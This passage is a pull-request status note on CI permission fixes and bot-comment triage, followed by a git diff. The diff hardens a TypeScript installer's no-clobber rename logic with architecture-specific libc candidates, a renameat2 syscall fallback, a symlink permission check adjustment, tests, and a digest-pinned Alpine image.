are active. Exact rebased-tree gates are green (`bun run check` and full `bun test`: 1,961 tests / 6,955 assertions; installer/updater transaction focus: 314 tests / 1,018 assertions; zero failures or skips in the updater focus). Repository code is SHIP; wish closure still requires separately approved narrow manifest-write credential setup and an end-to-end two-maintainer demonstration. **PR #2585 bot-comment triage 2026-07-14 (verified against code, per PR Review Rules):** Codex P1 **confirmed real and merge-blocking** — release.yml's `publish` caller granted only `contents: write`/`id-token: write` while the called release-publish.yml guard job requests `actions: read`; a called workflow cannot elevate past its caller, so every orchestrated release (dev included) would have failed at workflow init. Missed by the execution review; uncatchable by PR CI (release workflows don't run on PRs). Fixed by granting `actions: read` on the caller. Codex P2 (run_id validated before gh presence probe) and Gemini mktemp-leak (severity inflated; fixed via `${tmp:-}` EXIT trap) also applied. Codex P2 sidecar-rollback = the already-recorded LOW follow-up. Gemini subshell-exit rejected: `set -euo pipefail` propagates the subshell's exit 5 and the exit-code contract is fixture-tested. diff --git a/.github/workflows/build-tarballs.yml b/.github/workflows/build-tarballs.yml index 162b33915..8daa5e4b3 100644 --- a/.github/workflows/build-tarballs.yml +++ b/.github/workflows/build-tarballs.yml @@ -174,7 +174,8 @@ jobs: # bun's musl binary dynamically links to libstdc++ (libgcc); alpine # ships musl libc but not libstdc++ by default — install it before # exec'ing the binary. - docker run --rm -v "${STAGE}:/app:ro" -e VERSION="${VERSION}" alpine:3.19 sh -c ' + docker run --rm -v "${STAGE}:/app:ro" -e VERSION="${VERSION}" \ + alpine:3.19@sha256:6baf43584bcb78f2e5847d1de515f23499913ac9f12bdf834811a3145eb11ca1 sh -c ' set -e apk add --no-cache libstdc++ >/dev/null ACTUAL=$(/app/genie --version 2>&1 | tail -n1) diff --git a/src/lib/install-link.ts b/src/lib/install-link.ts index b4833a501..07374d501 100644 --- a/src/lib/install-link.ts +++ b/src/lib/install-link.ts @@ -15,6 +15,7 @@ import { type NativeNoReplaceDependencies, type PhysicalPathIdentity, inspectPhysicalPath, + linuxLibcCandidates, physicalPathIdentitiesEqual, renamePathNoClobber, } from './install-transaction.js'; @@ -53,15 +54,6 @@ interface AtApi { symlink: (target: string, parentFd: number, name: string) => number; } -const LINUX_LIBC_CANDIDATES = [ - 'libc.so.6', - 'libc.so', - 'ld-musl-x86_64.so.1', - 'libc.musl-x86_64.so.1', - 'ld-musl-aarch64.so.1', - 'libc.musl-aarch64.so.1', -] as const; - let cachedAtApi: AtApi | null | undefined; export class CanonicalInstallLinkError extends Error { @@ -115,7 +107,7 @@ function atApi(): AtApi { if (cachedAtApi === null) throw new CanonicalInstallLinkError('dirfd-bound libc operations are unavailable'); return cachedAtApi; } - const candidates = process.platform === 'darwin' ? ['/usr/lib/libSystem.B.dylib'] : LINUX_LIBC_CANDIDATES; + const candidates = process.platform === 'darwin' ? ['/usr/lib/libSystem.B.dylib'] : linuxLibcCandidates(process.arch); for (const candidate of candidates) { const api = openAtApi(candidate); if (api !== null) { diff --git a/src/lib/install-promotion.ts b/src/lib/install-promotion.ts index 62466d369..888ec6908 100644 --- a/src/lib/install-promotion.ts +++ b/src/lib/install-promotion.ts @@ -22,6 +22,7 @@ import { type NativeNoReplaceDependencies, type PhysicalPathIdentity, inspectPhysicalPath, + linuxLibcCandidates, nativeNoReplaceCapability, parsePhysicalPathIdentity, physicalPathIdentitiesEqual, @@ -192,15 +193,6 @@ const VERSION_PATTERN = /(?:^|[^0-9A-Za-z.+-])v?([0-9]+\.[0-9]+\.[0-9]+(?:[-+][0 const INSTALL_STAGING_NAME_PATTERN = /^\.install-staging-[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/; const AT_REMOVEDIR = process.platform === 'darwin' ? 0x80 : 0x200; -const LINUX_LIBC_CANDIDATES = [ - 'libc.so.6', - 'libc.so', - 'ld-musl-x86_64.so.1', - 'libc.musl-x86_64.so.1', - 'ld-musl-aarch64.so.1', - 'libc.musl-aarch64.so.1', -] as const; - let cachedInstallStagingAtApi: InstallStagingAtApi | null | undefined; const activeInstallStagingGuards = new WeakSet(); const installStagingContentDigests = new WeakMap(); @@ -338,7 +330,7 @@ function installStagingAtApi(): InstallStagingAtApi { } return cachedInstallStagingAtApi; } - const candidates = process.platform === 'darwin' ? ['/usr/lib/libSystem.B.dylib'] : LINUX_LIBC_CANDIDATES; + const candidates = process.platform === 'darwin' ? ['/usr/lib/libSystem.B.dylib'] : linuxLibcCandidates(process.arch); for (const candidate of candidates) { const api = openInstallStagingAtApi(candidate); if (api !== null) { @@ -822,13 +814,16 @@ function assertSafeOwnedDirectory(path: string, label: string, exactMode?: numbe function assertSafeOwnedNode(path: string, allowSymlink: boolean): void { const stat = lstatSync(path, { bigint: true }); - if (stat.uid !== currentUid() || stat.nlink < 1n || Number(stat.mode & 0o022n) !== 0) { - throw new InstallPromotionError(`transaction object has unsafe ownership, links, or permissions: ${path}`); + if (stat.uid !== currentUid() || stat.nlink < 1n) { + throw new InstallPromotionError(`transaction object has unsafe ownership or links: ${path}`); } if (stat.isSymbolicLink()) { if (!allowSymlink) throw new InstallPromotionError(`staged payload contains a symlink: ${path}`); return; } + if (Number(stat.mode & 0o022n) !== 0) { + throw new InstallPromotionError(`transaction object has unsafe permissions: ${path}`); + } if (stat.isFile()) return; if (!stat.isDirectory()) throw new InstallPromotionError(`transaction object is a special node: ${path}`); for (const name of readdirSync(path).sort()) assertSafeOwnedNode(join(path, name), allowSymlink); @@ -953,11 +948,10 @@ function sameRootObject(actual: PhysicalPathIdentity | null, expected: PhysicalP } function assertSafeJournalIdentity(identity: PhysicalPathIdentity, label: string): void { - if ( - identity.uid !== currentUid().toString() || - BigInt(identity.links) < 1n || - (BigInt(identity.mode) & 0o022n) !== 0n - ) { + // POSIX symlink mode bits are not access-control bits and are commonly + // reported as 0777 on Linux; ownership and link identity remain binding. + const permissionsUnsafe = identity.kind !== 'symlink' && (BigInt(identity.mode) & 0o022n) !== 0n; + if (identity.uid !== currentUid().toString() || BigInt(identity.links) < 1n || permissionsUnsafe) { throw new InstallPromotionError(`${label} has unsafe ownership, links, or permissions`); } } diff --git a/src/lib/install-transaction.test.ts b/src/lib/install-transaction.test.ts index a32b2123d..261ce5d48 100644 --- a/src/lib/install-transaction.test.ts +++ b/src/lib/install-transaction.test.ts @@ -19,6 +19,7 @@ import { NativeNoReplaceUnavailableError, NoClobberRenameError, inspectPhysicalPath, + linuxLibcCandidates, nativeNoReplaceCapability, parsePhysicalPathIdentity, renamePathNoClobber, @@ -59,6 +60,78 @@ function injectedNative( } describe('strict native no-clobber transaction primitive', () => { + test('uses only the versioned glibc soname and architecture-matched absolute musl loader', () => { + expect(linuxLibcCandidates('x64')).toEqual(['libc.so.6', '/lib/ld-musl-x86_64.so.1']); + expect(linuxLibcCandidates('arm64')).toEqual(['libc.so.6', '/lib/ld-musl-aarch64.so.1']); + expect(linuxLibcCandidates('riscv64')).toEqual(['libc.so.6']); + }); + + test('uses the architecture-specific renameat2 syscall when musl has no wrapper symbol', () => { + const root = fixture(); + const source = join(root, 'source'); + const target = join(root, 'target'); + writeFileSync(source, 'payload'); + const expected = inspectPhysicalPath(source); + if (expected === null) throw new Error('source missing'); + const wrapperAttempts: string[] = []; + const syscallAttempts: Array<{ soname: string; syscallNumber: number }> = []; + const dependencies = injectedNative(root, { + architecture: 'x64', + linuxCandidates: ['musl-libc'], + linuxOpener: (soname) => { + wrapperAttempts.push(soname); + return null; + }, + linuxSyscallOpener: (soname, syscallNumber) => { + syscallAttempts.push({ soname, syscallNumber }); + return (_sourceParentFd, sourceBuffer, _targetParentFd, targetBuffer) => { + renameSync(join(root, decode(sourceBuffer)), join(root, decode(targetBuffer))); + return 0; + }; + }, + }); + + renamePathNoClobber(source, target, expected, dependencies); + + expect(wrapperAttempts).toEqual(['musl-libc']); + expect(syscallAttempts).toEqual([{ soname: 'musl-libc', syscallNumber: 316 }]); + expect(readFileSync(target, 'utf8')).toBe('payload'); + }); + + test('maps Linux arm64 to its renameat2 syscall without invoking a wrong architecture number', () => { + const attempts: Array<{ soname: string; syscallNumber: number }> = []; + const capability = nativeNoReplaceCapability({ + platform: 'linux', + architecture: 'arm64', + linuxCandidates: ['musl-libc'], + linuxOpener: () => null, + linuxSyscallOpener: (soname, syscallNumber) => { + attempts.push({ soname, syscallNumber }); + return () => 0; + }, + }); + + expect(capability.available).toBe(true); + expect(attempts).toEqual([{ soname: 'musl-libc', syscallNumber: 276 }]); + }); + + test('an unsupported Linux architecture never invents or invokes a renameat2 syscall number', () => { + let syscallAttempted = false; + const capability = nativeNoReplaceCapability({ + platform: 'linux', + architecture: 'riscv64', + linuxCandidates: ['libc.so.6'], + linuxOpener: () => null, + linuxSyscallOpener: () => { + syscallAttempted = true; + return () => 0; + }, + }); + + expect(capability.available).toBe(false); + expect(syscallAttempted).toBe(false); + }); + test('strictly parses exact physical identities and rejects extra or malformed authority', () => { const root = fixture(); const path = join(root, 'payload'); diff --git a/src/lib/install-transaction.ts b/src/lib/install-transaction.ts index d0db05177..c2d3e9d57 100644 --- a/src/lib/install-transaction.ts +++ b/src/lib/install-transaction.ts @@ -16,14 +16,11 @@ import { basename, dirname, join, resolve } from 'node:path'; const LINUX_RENAME_NOREPLACE = 1; const DARWIN_RENAME_EXCL = 4; -const LINUX_LIBC_CANDIDATES = [ - 'libc.so.6', - 'libc.so', - 'ld-musl-x86_64.so.1', - 'libc.musl-x86_64.so.1', - 'ld-musl-aarch64.so.1', - 'libc.musl-aarch64.so.1', -] as const; +export function linuxLibcCandidates(architecture: NodeJS.Architecture): readonly string[] { + if (architecture === 'x64') return ['libc.so.6', '/lib/ld-musl-x86_64.so.1']; + if (architecture === 'arm64') return ['libc.so.6', '/lib/ld-musl-aarch64.so.1']; + return ['libc.so.6']; +} type BigStat = ReturnType; export type NativeNoReplaceRename = ( @@ -35,7 +32,9 @@ export type NativeNoReplaceRename = ( export interface NativeNoReplaceDependencies { platform?: NodeJS.Platform; + architecture?: NodeJS.Architecture; linuxOpener?: (soname: string) => NativeNoReplaceRename | null; + linuxSyscallOpener?: (soname: string, syscallNumber: number) => NativeNoReplaceRename | null; linuxCandidates?: readonly string[]; darwinOpener?: () => NativeNoReplaceRename | null; /** Resolve the current path of a held directory fd (test seam for cross-platform simulation). */ @@ -417,6 +416,36 @@ const defaultLinuxOpener: NonNullable = ( + soname, + syscallNumber, +) => { + try { + const libc = dlopen(soname, { + syscall: { args: ['i64', 'i32', 'cstring', 'i32', 'cstring', 'u32'], returns: 'i64' }, + } as const); + return (sourceParentFd, source, targetParentFd, target) => + Number( + libc.symbols.syscall( + BigInt(syscallNumber), + sourceParentFd, + source, + targetParentFd, + target, + LINUX_RENAME_NOREPLACE, + ), + ); + } catch { + return null; + } +}; + +function linuxRenameat2SyscallNumber(architecture: NodeJS.Architecture): number | null { + if (architecture === 'x64') return 316; + if (architecture === 'arm64') return 276; + return null; +} + const defaultDarwinOpener: NonNullable = () => { try { const libc = dlopen('/usr/lib/libSystem.B.dylib', { @@ -432,19 +461,34 @@ const defaultDarwinOpener: NonNullable NativeNoReplaceRename | null, +): NativeNoReplaceRename | null { for (const soname of candidates) { try { - resolved = opener(soname); + const resolved = opener(soname); + if (resolved !== null) return resolved; } catch { - resolved = null; + // A rejected candidate is not capability; continue through the fixed allowlist. } - if (resolved !== null) break; + } + return null; +} + +function resolveLinuxRename(dependencies: NativeNoReplaceDependencies): NativeNoReplaceRename | null { + const openerInjected = dependencies.linuxOpener !== undefined || dependencies.linuxSyscallOpener !== undefined; + const injected = + openerInjected || dependencies.linuxCandidates !== undefined || dependencies.architecture !== undefined; + if (!injected && cachedLinuxRename !== undefined) return cachedLinuxRename; + const opener = dependencies.linuxOpener ?? (openerInjected ? () => null : defaultLinuxOpener); + const syscallOpener = dependencies.linuxSyscallOpener ?? (openerInjected ? () => null : defaultLinuxSyscallOpener); + const architecture = dependencies.architecture ?? process.arch; + const candidates = dependencies.linuxCandidates ?? linuxLibcCandidates(architecture); + let resolved = firstResolvedLinuxRename(candidates, opener); + const syscallNumber = linuxRenameat2SyscallNumber(architecture); + if (resolved === null && syscallNumber !== null) { + resolved = firstResolvedLinuxRename(candidates, (soname) => syscallOpener(soname, syscallNumber)); } if (!injected) cachedLinuxRename = resolved; return resolved;